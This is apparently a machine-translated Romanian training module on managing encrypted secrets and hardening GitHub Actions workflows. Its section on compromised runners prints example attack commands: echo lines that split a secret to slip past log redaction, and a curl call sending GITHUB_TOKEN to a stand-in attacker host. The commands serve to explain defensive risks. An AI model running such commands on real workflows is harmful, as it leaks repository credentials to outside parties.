Gestionarea secretelor criptate

  • 4 minute

Secretele sunt variabile de mediu criptate care stochează simboluri, acreditări și alte informații sensibile. Fluxurile de lucru și acțiunile acțiunilor GitHub pot utiliza aceste secrete atunci când este necesar. Odată create, secretele devin accesibile fluxurilor de lucru și acțiunilor care au permisiunea de a accesa organizația, depozitul sau mediul în care sunt definite secretele.

Această secțiune vă arată cum să gestionați secretele criptate utilizând instrumente și strategii în GitHub Enterprise Cloud și GitHub Enterprise Server. De asemenea, aflați cum să utilizați aceste secrete în fluxurile de lucru și acțiunile dvs.

Gestionarea secretelor criptate din întreprindere

Acțiunile GitHub vă permit să stocați și să utilizați în siguranță date sensibile, cum ar fi chei API, tokenuri de autentificare, parole și certificate, prin secrete criptate. Aceste secrete sunt stocate și injectate în siguranță în fluxurile de lucru. Această proiectare asigură că nu apar în jurnale sau cod sursă.

Într-un mediu de întreprindere, gestionarea secretă eficientă este esențială. Contribuie la menținerea securității, la îndeplinirea cerințelor de conformitate și la susținerea eficienței operaționale. GitHub vă permite să gestionați secretele la patru niveluri: întreprindere, organizație, depozit și mediu.

Domeniul secretelor criptate

Înțelegerea domeniului de aplicare a secretelor este esențială pentru gestionarea lor în siguranță într-un mediu de întreprindere.

Nivel secret Domeniul de aplicare Cine poate accesa Cazuri de utilizare uzuale
secreteEnterprise-Level Se aplică pentru toate depozitele dintr-o organizație GitHub Enterprise Cloud. Proprietari de întreprindere, administratori de securitate Partajați acreditările în mai multe depozite.
secreteOrganization-Level Se aplică la toate depozitele dintr-o organizație; opțional limitați depozitele selectate. Proprietarii organizației, administratorii de securitate Accesați serviciile în cloud și bazele de date partajate.
secreteRepository-Level Se aplică doar la un singur depozit. Administratori de depozite, administratori de flux de lucru Acreditări securizate pentru implementarea într-un singur depozit.
secreteEnvironment-Level Se aplică la anumite medii de implementare dintr-un depozit, cum ar fi paginarea sau producția. Fluxuri de lucru în mediul specificat Separați acreditările după mediul de implementare.

Considerații cheie:

  • Secretele de întreprindere sunt exclusive pentru GitHub Enterprise Cloud și acceptă gestionarea centralizată într-o organizație.
  • Secretele organizației oferă control de acces fin și pot fi limitate la anumite depozite.
  • Secretele de mediu contribuie la prevenirea expunerii neintenționate, restricționând accesul la mediile fluxului de lucru.

Gestionarea secretelor criptate la nivel de organizație

Crearea secretelor criptate la nivel de organizație ajută la securizarea informațiilor sensibile, reducând efortul necesar pentru gestionarea secretelor în mai multe depozite.

De exemplu, unii dezvoltatori care scriu fluxuri de lucru în organizația dvs. GitHub au nevoie de acreditări pentru a implementa cod pentru producție în unele dintre fluxurile lor de lucru. Pentru a evita partajarea acestor informații sensibile, puteți crea un secret criptat care conține acreditările la nivel de organizație. Astfel, acreditările pot fi utilizate în fluxurile de lucru fără a fi expuse.

Pentru a crea un secret la nivel de organizație, accesați organizația dvs. Setări și, din bara laterală, selectați Secrete și variabile > Acțiuni > New organization secret. În ecranul care apare, introduceți un nume și o valoare și alegeți o politică de acces pentru depozit pentru secretul dvs.:

Ecran secret nou pentru organizații.

După salvare, politica de acces se afișează sub secretul din listă:

exemplu de secrete criptate, cu politica de acces afișată.

Puteți selecta Actualizare pentru mai multe detalii despre permisiunile configurate pentru secretul dvs.

Gestionarea secretelor criptate Organization-Level via GitHub CLI

  • Creați un secret pentru o organizație: 
    gh secret set SECRET_NAME --org my-org --body "super-secret-value"
  • Listați toate secretele organizației: 
    gh secret list --org my-org
  • Actualizați un secret existent: 
    gh secret set SECRET_NAME --org my-org --body "new-secret-value"
  • Ștergeți un secret: 
    gh secret delete SECRET_NAME --org my-org

Considerații de securitate pentru secretele organizației

  • Restricționați secretele anumitor depozite în loc să acordați acces la toate depozitele în mod implicit.
  • Implementați controlul accesului bazat pe roluri (RBAC) pentru a vă asigura că numai membrii autorizați ai echipei pot să creeze, să actualizeze sau să șteargă secrete.
  • Monitorizați jurnalele de acces în mod regulat pentru a identifica și a răspunde la o utilizare neautorizată sau la o activitate suspectă.

Gestionarea secretelor criptate la nivel de depozit

Pentru a întinde un secret la un anumit depozit, utilizați GitHub Enterprise Cloud sau GitHub Enterprise Server.

Creați un secret la nivel de depozit

  1. Navigați la Setările depozitului.
  2. SelectațiSecrete și variabile > Acțiuni, apoi Secret depozit nou.
  3. Introduceți un nume și o valoare pentru secret.

Noul ecran secret pentru depozite.

Gestionați secretele criptate la nivel de depozit prin CLI

  • Secretele depozitului de listă:

    gh secret list --repo my-repo

  • Actualizați un secret al depozitului:

    gh secret set SECRET_NAME --repo my-repo --body "new-secret-value"

  • Ștergeți un secret al depozitului:

    gh secret delete SECRET_NAME --repo my-repo

Accesați secrete criptate în cadrul acțiunilor și fluxurilor de lucru

În Fluxuri de lucru

Secrete de acces utilizând secrets contextul. Utilizați fie with pentru a transmite secretul ca intrare, env fie pentru a-l seta ca variabilă de mediu.

steps:
  - name: Hello world action
    uses: actions/hello-world@v1
    with:
      # Pass the secret as an input to the action
      super_secret: ${{ secrets.SuperSecret }}
    env:
      # Set the secret as an environment variable
      super_secret: ${{ secrets.SuperSecret }}

  • Utilizați with:Pass the secret as an input parameter to the action. Această metodă este utilizată de obicei atunci când acțiunea definește în mod explicit intrările din action.yml.

  • Utilizați env:Expuneți secretul ca variabilă de mediu la pas. Această abordare este utilă atunci când comanda din pas sau dintr-un script din acțiune așteaptă o variabilă de mediu.

În Acțiuni

Pentru a utiliza secretele într-o acțiune particularizată, definiți-le ca intrări în action.yml fișierul de metadate și accesați-le ca variabile de mediu din codul de acțiune.

inputs:
  super_secret:
    description: 'My secret token'
    required: true

// Access the input using the Actions Toolkit
const core = require('@actions/core');
const token = core.getInput('super_secret');

  • Definiți în action.yml:Specificați secretul ca intrare obligatorie sau opțională.

  • Access în cod:Citiți secretul utilizând Kitul de instrumente acțiuni (recomandat) sau făcând referire la variabilele de mediu, dacă sunt setate.

Avertisment

Evitați secretele de codificare hardcoding din codul sursă de acțiune. Pentru a gestiona în siguranță intrările și secretele, utilizați Kitul de instrumente de acțiuni pentru gestionarea valorilor din logica de cod.

Configurarea întăririi securității pentru acțiunile GitHub

Întărirea securității pentru acțiunile GitHub joacă un rol în menținerea în siguranță a lanțului de aprovizionare a software-ului. Secțiunile următoare vă ajută să parcurgeți practicile recomandate pentru a consolida securitatea acțiunilor pe care le utilizați în fluxurile de lucru.

Identificați cele mai bune practici pentru atenuarea atacurilor de injectare prin script

Printre cele mai bune practici pentru atenuarea atacurilor de injectare prin script asupra acțiunilor GitHub se numără:

  1. Utilizați acțiunile Javascript în loc de scripturi în linie: Utilizați acțiunile Javascript care acceptă valori contextuale ca argumente în loc să încorporați acele valori în scripturi în linie. Această abordare reduce riscul de injectare script, deoarece datele contextuale nu sunt utilizate pentru generarea sau executarea directă a comenzilor shell.

    Trecerea unei variabile ca intrare la o acțiune JavaScript ajută la prevenirea folosirii într-un atac de injectare script.

     uses: fakeaction/checktitle@v3
 with:
   title: ${{ github.event.pull_request.title }}

  2. Utilizați variabile de mediu intermediare în scripturile în linie: Atunci când utilizați scripturi în linie, evaluați variabilele ca variabile de mediu înainte de a le utiliza în comenzi. Această abordare asigură că valorile sunt rezolvate înainte de rulările scriptului, reducând riscul de injectare prin script. De exemplu, utilizarea github.event.pull_request.title ca variabilă de mediu contribuie la protejarea împotriva vulnerabilităților de injectare:

    - name: Check PR title
    env:
      TITLE: ${{ github.event.pull_request.title }}
    run: |
      if [[ "$TITLE" =~ ^octocat ]]; then
      echo "PR title starts with 'octocat'"
      exit 0
      else
      echo "PR title did not start with 'octocat'"
      exit 1
      fi

    Captură de ecran afișând o interfață de solicitare de extragere legată de gestionarea secretelor criptate.

    Captură de ecran afișând o executare a fluxului de lucru Acțiuni GitHub legate de secretele criptate.

  3. Valorificați șabloanele de flux de lucru pentru a implementa scanarea codului: Navigați la fila Acțiuni a depozitului și selectați butonul Flux de lucru nou din panoul din stânga. Pe pagina Alegeți un flux de lucru , găsiți secțiunea Securitate pentru a accesa și a aplica șabloane de flux de lucru.

    Configurați scanerul CodeQL să ruleze pentru anumite evenimente, permițându-i să scaneze fișierele unei sucursale și să semnaleze expunerile la CWE(Enumerari de slăbiciune comună) în acțiunile utilizate în fluxurile de lucru, inclusiv vulnerabilități cum ar fi injectarea scriptului.

    Captură de ecran afișând crearea unui nou flux de lucru acțiuni GitHub pentru gestionarea secretelor criptate.

    Captură de ecran care afișează configurația CodeQL legată de gestionarea secretelor criptate.

  4. Restricționarea permisiunilor pentru tokenuri: Asigurați-vă că aplicați rule of least privilege întotdeauna orice simbol creat. Cu alte cuvinte, asigurați-vă că simbolului i se atribuie privilegiile minime pentru a realiza activitatea pentru care a fost creată.

Cele mai bune practici pentru utilizarea în siguranță a acțiunilor de la terți

Urmați aceste exemple de bună practică pentru a încorpora în siguranță acțiuni de la terți în fluxurile dvs. de lucru:

  1. Fixarea acțiunilor la o etichetă numai dacă autorul este de încredere Utilizați etichete de versiune, cum v1 ar fi sau v2, numai atunci când autorul acțiunii este verificat și de încredere. Această acțiune vă ajută să reduceți riscul de modificări neașteptate în versiunile viitoare.

    - name: Checkout
  uses: actions/checkout@v4  # Pinned to a specific version tag

  2. Preferați fixarea acțiunilor la o comitere completă SHA Fixarea la o comitere completă SHA vă asigură că utilizați o versiune invariabilă a acțiunii. Verificați întotdeauna dacă comiterea SHA provine de la depozitul așteptat.

    - name: Checkout
  uses: actions/checkout@1e31de5234b9f8995739874a8ce0492dc87873e2  # Pinned to a specific commit SHA

  3. Auditarea codului sursă al acțiunii Revizuiți sursa acțiunii pentru a confirma că gestionează datele în siguranță și nu include comportament neașteptat sau rău intenționat.

Indicatori ai unei acțiuni de încredere de la terți

Utilizați acțiuni de încredere pentru a reduce riscul din fluxurile de lucru.

  • Căutați ecusonul Verificat: Acțiunile de încredere apar în GitHub Marketplace și afișează un ecuson Creator verificat lângă titlul care vă informează că creatorul a fost verificat de GitHub.

  • Consultați documentația: Fișierul action.yml ar trebui să fie bine documentat și să descrie clar cum funcționează acțiunea.

Captură de ecran afișând interfața GitHub Marketplace pentru gestionarea secretelor criptate.

Utilizați actualizările versiunii Dependabot pentru a menține acțiunile actualizate

Activați actualizările versiunii Dependabot pentru a menține automat dependențele acțiunilor GitHub la zi și securizate.

Impactul potențial al unui alergător compromis

Această secțiune descrie vectorii de atac posibili care ar putea fi exploatați dacă un alergător este compromis.

Exfiltrarea datelor de la un alergător

Deși acțiunile GitHub redactează automat secretele jurnalelor, această refacere nu este o limită completă de securitate. Dacă un alergător este compromis, un atacator poate expune în mod intenționat secretele imprimându-le în jurnal. De exemplu:

echo ${SOME_SECRET:0:4}
echo ${SOME_SECRET:4:200}

Un alergător compromis poate fi utilizat și pentru a redirecționa secretele sau alte date sensibile ale depozitului pe un server extern, utilizând solicitări HTTP scriptate.

Acces la secrete

Fluxurile de lucru declanșate din depozitele de cerneală care utilizează pull_request evenimentul au permisiuni doar în citire și nu pot accesa secretele. Cu toate acestea, permisiunile variază în funcție de tipul de eveniment, cum issue_commentar fi , issuespush, sau pull_request de o ramură din același depozit. Dacă un alergător este compromis, există riscul ca secretele depozitului să fie expuse sau ca un loc de muncă GITHUB_TOKEN cu permisiuni de scriere să fie utilizat greșit.

  • Dacă un secret sau un simbol este atribuit unei variabile de mediu, acesta poate fi accesat direct utilizând printenv.
  • Dacă se face referire la un secret direct într-o expresie, scriptul shell generat care conține valoarea rezolvată este stocat pe disc și poate fi accesibil.
  • Pentru acțiuni particularizate, nivelul de risc depinde de modul în care secretul este gestionat în logica acțiunii. De exemplu:
uses: exampleaction/publish@v3
with:
  key: ${{ secrets.PUBLISH_KEY }}

Deși acțiunile GitHub elimină secretele din memorie dacă nu sunt menționate în fluxul de lucru sau în acțiunile incluse, GITHUB_TOKEN secretele utilizate în mod activ rămân expuse riscului de a fi recoltate dacă alergătorul este compromis.

Furarea unui loc de muncă GITHUB_TOKEN

Un atacator poate fi capabil să fure un loc de muncă GITHUB_TOKEN. Acțiunile GitHub furnizează automat acest simbol cu permisiuni de domeniu limitate la depozitul care rulează fluxul de lucru. Simbolul expiră după terminarea activității și nu poate fi reutilizat după aceea.

Cu toate acestea, un alergător compromis poate fi utilizat pentru a exfiltra tokenul imediat în timpul executării lucrării. Un atacator poate automatiza o solicitare către un server pe care îl controlează pentru a captura simbolul înainte de a expira. De exemplu:

curl http://example.com?token=$GITHUB_TOKEN

Modificarea conținutului depozitului

Dacă este GITHUB_TOKEN furat, un sistem controlat de atacator îl poate utiliza pentru a apela API-ul GitHub și a modifica conținutul depozitului.

Aplicarea principiului privilegiilor cel mai puțin la permisiunile simbolului contribuie la reducerea acestui risc. Limitați accesul tokenului doar la ceea ce este necesar pentru activitate.

Gestionarea accesului la depozitul încrucișat

Atunci când fluxurile de lucru necesită acces la mai multe depozite, este important să alegeți acreditările care reduc riscurile de securitate. Printre opțiunile recomandate listate de la cea mai mare la cea mai puțin preferată se numără:

  1. GITHUB_TOKEN

    GitHub generează GITHUB_TOKEN automat fiecare flux de lucru care rulează. Acesta este definit în depozitul unic care declanșează fluxul de lucru și furnizează permisiuni echivalente cu un utilizator de acces la scriere din depozitul respectiv. Simbolul este creat la începutul fiecărei lucrări și expiră atunci când se termină lucrarea.

    Utilizați ori de GITHUB_TOKEN câte ori este posibil pentru autentificare securizată și bazată pe domeniu. Pentru detalii, consultați Autentificarea automată a tokenului.

  2. Cheie implementare depozit

    Pentru a clona sau a împinge utilizând Git în fluxurile de lucru, utilizați tastele de implementare care oferă acces de citire sau scriere la un singur depozit.

Cu toate acestea, implementarea cheilor nu acceptă accesul la API-urile REST sau GraphQL ale GitHub. Utilizați-le doar atunci când accesul API nu este necesar și accesul Git este suficient.

  1. Tokenuri de aplicație GitHub

    Aplicațiile GitHub oferă permisiuni avansate și pot fi instalate în depozite selectate. Puteți să creați o aplicație GitHub internă, să o instalați în depozitele necesare și să vă autentificați ca instalare de aplicație în fluxul de lucru pentru a accesa aceste depozite.

Această abordare oferă un control și auditare mai bună a accesului comparativ cu tokenurile personale.

  1. Tokenuri de acces personal (PATs)

    Evitați să utilizați tokenuri de acces personal clasice în fluxurile de lucru. Aceste tokenuri oferă acces larg la toate depozitele personale și organizaționale asociate utilizatorului, introducând un risc semnificativ. Dacă fluxul de lucru rulează într-un depozit cu mai mulți colaboratori, toți utilizatorii cu acces la scriere moștenesc efectiv privilegiile tokenului respectiv.

Dacă trebuie să utilizați un simbol personal, creați un PAT fin legat la un cont de organizație dedicat. Restricționați accesul la doar depozitele specifice necesare fluxului de lucru.

Notă

Această abordare este dificil de scalat și este cel mai bine evitată în favoarea implementării cheilor sau aplicațiilor GitHub.

Captură de ecran afișând un buton pentru a genera un nou token de acces personal GitHub.

  1. Chei SSH pentru conturile personale

    Nu utilizați niciodată taste SSH din conturi personale în fluxurile de lucru. La fel ca cele clasice, acestea acordă acces la toate depozitele asociate contului, inclusiv la depozitele personale și organizaționale. Această greșeală expune fluxurile de lucru la riscuri inutile.

Dacă cazul dvs. de utilizare implică clonarea sau împingerea prin Git, luați în considerare utilizarea tastelor de implementare. Acestea oferă acces definit fără a expune depozite necorelate sau fără a solicita acreditări personale.

Auditarea evenimentelor de acțiune GitHub

Tipul de acțiune, atunci când a fost rulat și ce cont personal a efectuat acțiunea sunt înregistrate în "jurnalul de securitate" și în jurnalul de auditare. "Jurnalul de securitate" înregistrează evenimentele legate de contul dvs. de utilizator. Evenimentele "jurnalului de audit" înregistrează evenimentele legate de organizația dvs. Astfel, vizualizând ambele jurnale, puteți audita evenimentele legate de acțiunile Github.

Utilizarea OIDC cu acțiuni GitHub

Puteți configura fluxurile de lucru pentru autentificare direct cu un furnizor în cloud utilizând OIDC (OpenID Connect). În acest caz, nu mai este necesar să stocați acreditările ca secrete.

Artefacte pentru acțiuni GitHub

Atestările artefactelor contribuie la stabilirea provenienței versiunilor, îmbunătățirea securității lanțului de aprovizionare a software-ului verificând ceea ce a fost construit, unde și cum.

Ce să atesti

Cu acțiuni GitHub, puteți să vă certați pentru a construi provenanță și SBOM (Software Bill of Materials) pentru fișiere binare și imagini container.

Se generează atestări de artefacte pentru compilări

Atunci când generați o atestare a artefactului pentru compilări, trebuie să vă asigurați:

Atestarea stabilește proveniența construirii. Puteți vizualiza atestările din fila Acțiuni a depozitului.

Captură de ecran care afișează configurația de atestări din GitHub legată de gestionarea secretelor criptate.

Generarea unei atestări de proveniență a unităților binare

  1. Trebuie să adăugați următoarele permisiuni la fluxul de lucru care construiește binarul pentru care intenționați să atestați:

       permissions:
    id-token: write
    contents: read
    attestations: write

  2. Trebuie să adăugați următorul pas după pasul în care este construit binarul:

      - name: Generate artifact attestation
    uses: actions/attest-build-provenance@v2
    with:
     subject-path: 'PATH/TO/ARTIFACT'

Notă

Rețineți că valoarea parametrului subject-path este setată la calea celui binar pe care îltestați.

Generarea unei atestări pentru construirea de imagini container

  1. Adăugați următoarele permisiuni la fluxul de lucru care construiește imaginea containerului:

    permissions:
  id-token: write
  contents: read
  attestations: write
  packages: write

  2. Adăugați acest pas după ce construiți imaginea containerului:

    - name: Generate artifact attestation
  uses: actions/attest-build-provenance@v2
  with:
    subject-name: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}
    subject-digest: 'sha256:fedcba0...'
    push-to-registry: true

    Notă

    • Valoarea subject-name trebuie să fie un nume de imagine complet calificat, cum ghcr.io/user/app ar fi sau acme.azurecr.io/user/app. Nu includeți o etichetă.
    • Trebuie subject-digest să fie un digest SHA256 al imaginii, în format sha256:HEX_DIGEST.
    • Dacă fluxul de lucru utilizează docker/build-push-action, puteți regăsi digestul din rezultatul său. Pentru detalii, consultați Sintaxa fluxului de lucru pentru Acțiuni GitHub.

Generarea de atestări pentru SBOM-uri

Aveți capacitatea de a genera atașări SBOM pentru un SBOM. Pentru a genera și atesta un SBOM, trebuie să efectuați următorii pași:

  • Asigurați-vă că setați permisiunile corespunzătoare în fluxul de lucru, așa cum se arată în exemple.
  • Trebuie să generați un SBOM pentru artefact într-un pas din fluxul de lucru. De exemplu, consultați ancora-sbom-action în GitHub Marketplace.
  • Includeți un pas în fluxul de lucru care utilizează acțiunea de test-sbom (vedeți exemplele de mai jos)
Generarea unei atestări SBOM pentru fișiere binare

  1. Adăugați următoarele permisiuni la fluxul de lucru care construiește binarul pentru care veți genera o atestare SBOM:

        permissions:
     id-token: write
     contents: read
     attestations: write

  2. Adăugați următorul pas după pașii în care este construit binarul și SBOM generat:

        - name: Generate SBOM attestation
    uses: actions/attest-sbom@v1
    with:
      subject-path: 'PATH/TO/ARTIFACT'
      sbom-path: 'PATH/TO/SBOM'

Rețineți că valoarea parametrului subject-path trebuie setată la calea binară descrisă de SBOM. Valoarea parametrului sbom-path trebuie setată la calea fișierului SBOM generat.

Generarea unei atestări SBOM pentru imaginile container

  1. Trebuie să adăugați următoarele permisiuni la fluxul de lucru care construiește binarul pentru care veți genera o atestare SBOM:

       permissions:
    id-token: write
    contents: read
    attestations: write
    packages: write

  2. Trebuie să adăugați următorul pas după pașii în care este construit binarul și SBOM generat:

        - name: Generate SBOM attestation
    uses: actions/attest-sbom@v1
    with:
      subject-name: ${{ env.REGISTRY }}/PATH/TO/IMAGE
      subject-digest: 'sha256:fedcba0...'
      sbom-path: 'sbom.json'
      push-to-registry: true

Rețineți că valoarea parametrului subject-name specifică numele imaginii complet calificate. De exemplu, ghcr.io/user/app sau acme.azurecr.io/user/app. Nu includeți o etichetă ca parte a numelui imaginii.

Valoarea parametrului subject-digest trebuie setată la rezumatul SHA256 subiectului pentru atestare, în formularul sha256:HEX_DIGEST. Dacă fluxul de lucru utilizează docker/build-push-action, puteți utiliza rezultatul digestului din acel pas pentru a furniza valoarea (consultați acțiunea push-compilare). Pentru mai multe informații despre utilizarea ieșirilor, consultați Sintaxa fluxului de lucru pentru acțiunile GitHub.

Valoarea parametrului sbom-path trebuie setată la calea către fișierul SBOM formatat JSON pentru care intenționați să atestați.

Se verifică atestările artefactelor cu CLI-ul GitHub

Puteți valida atestările artefactelor prezentate mai sus utilizând GitHub CLI. Pentru mai multe informații, consultați secțiunea de atestare a manualului GitHub CLI.

Avertisment

Este important să rețineți că artefactele nu sunt o garanție că un artefact este sigur. În schimb, atestările de artefacte vă leagă de codul sursă și de instrucțiunile de compilare care le-au produs. Depinde de dvs. să definiți criteriile de politică, să evaluați acea politică prin evaluarea conținutului și să luați o decizie de risc informată atunci când consumați software.

Accesați secrete criptate în cadrul acțiunilor și fluxurilor de lucru

Exemplu: Utilizarea unui secret într-un flux de lucru

name: Deploy Application

on:
  push:
    branches:
      - main

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout repository
        uses: actions/checkout@v3

      - name: Use secret in a script
        run: echo "Deploying with API_KEY=${{ secrets.DEPLOYMENT_KEY }}"

Cele mai bune practici pentru utilizarea secretelor în fluxurile de lucru

  • Nu se imprimă secretele în jurnale utilizând echo ${{ secrets.SECRET_NAME }}.
  • Utilizați secrete în cadrul comenzilor script, în loc să le atribuiți variabilelor de mediu.
  • Limitați accesul prin definirea secretelor la cel mai mic nivel necesar.
  • Rotiți secretele periodic și actualizați fluxurile de lucru în mod corespunzător.

Cum se utilizează seiful terților

Multe întreprinderi integrează acțiuni GitHub cu soluții externe de gestionare secretă, cum ar fi HashiCorp Vault, AWS Secrets Manager și Azure Key Vault.

1. Seiful HashiCorp

- name: Fetch secret from Vault
  id: vault
  uses: hashicorp/vault-action@v2
  with:
    url: https://vault.example.com
    token: ${{ secrets.VAULT_TOKEN }}
    secret: secret/data/github/my-secret

2. Manager de secrete AWS (Amazon Web Services)

- name: Retrieve AWS Secret
  run: |
    SECRET_VALUE=$(aws secretsmanager get-secret-value --secret-id my-secret | jq -r .SecretString)
    echo "SECRET_VALUE=${SECRET_VALUE}" >> $GITHUB_ENV

3. Seiful cheii Azure

- name: Retrieve Azure Secret
  uses: Azure/get-keyvault-secrets@v1
  with:
    keyvault: "my-keyvault"
    secrets: "my-secret"
    azureCredentials: ${{ secrets.AZURE_CREDENTIALS }}

Avantajele utilizării seifurilor de la terți

  • Gestionarea secretă centralizată reduce riscurile de securitate.
  • Rotația automată secretă vă ajută să respectați politicile de securitate.
  • Jurnalele de audit și controlul accesului îmbunătățesc monitorizarea securității.
  • Accesul la privilegii cel mai puțin împiedică utilizarea neautorizată a secretelor.